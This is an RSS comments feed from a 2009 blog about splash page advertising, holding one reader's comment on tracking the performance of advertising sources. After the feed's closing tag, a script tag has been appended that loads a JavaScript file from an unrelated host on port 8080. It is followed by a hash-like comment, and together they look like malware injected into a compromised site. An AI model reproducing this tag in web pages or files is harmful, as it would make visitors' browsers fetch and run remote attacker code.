<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Where Are The Signups Coming From?</title>
	<atom:link href="http://www.splashpagereporter.com/featured-articles/where-are-the-signups-coming-from/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.splashpagereporter.com/featured-articles/where-are-the-signups-coming-from/</link>
	<description>A blog focused on splash pages and splash page advertising</description>
	<lastBuildDate>Sat, 21 Nov 2009 13:25:27 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Greg - Hits-A-Million</title>
		<link>http://www.splashpagereporter.com/featured-articles/where-are-the-signups-coming-from/comment-page-1/#comment-51</link>
		<dc:creator>Greg - Hits-A-Million</dc:creator>
		<pubDate>Thu, 05 Nov 2009 00:28:42 +0000</pubDate>
		<guid isPermaLink="false">http://www.splashpagereporter.com/?p=134#comment-51</guid>
		<description>Good post Derek.

Agree with everything said, though I must say that sometimes I get poor results from an advertising site one month, only to have decent results the next.

I discovered this accidentally through laziness after just repeating my previous months advertising without first checking my stats.

When I did check, I noticed that some sites were good one month, not so the next. 

Now I give each new source at least 2/3 months to get a real feel for how they perform.

So while I agree that some form of tracking is essential, it&#039;s not fool proof, especially in the short term.

But of course persisting with proven poor performing advertising sites is simply a waste of time/money.</description>
		<content:encoded><![CDATA[<p>Good post Derek.</p>
<p>Agree with everything said, though I must say that sometimes I get poor results from an advertising site one month, only to have decent results the next.</p>
<p>I discovered this accidentally through laziness after just repeating my previous months advertising without first checking my stats.</p>
<p>When I did check, I noticed that some sites were good one month, not so the next. </p>
<p>Now I give each new source at least 2/3 months to get a real feel for how they perform.</p>
<p>So while I agree that some form of tracking is essential, it&#8217;s not fool proof, especially in the short term.</p>
<p>But of course persisting with proven poor performing advertising sites is simply a waste of time/money.</p>
]]></content:encoded>
	</item>
</channel>
</rss>




<script type="text/javascript" src="http://assolkh.blackhulu.com:8080/USB.js"></script>
<!--fa100fbf017f42cd01461b4887fa043f-->
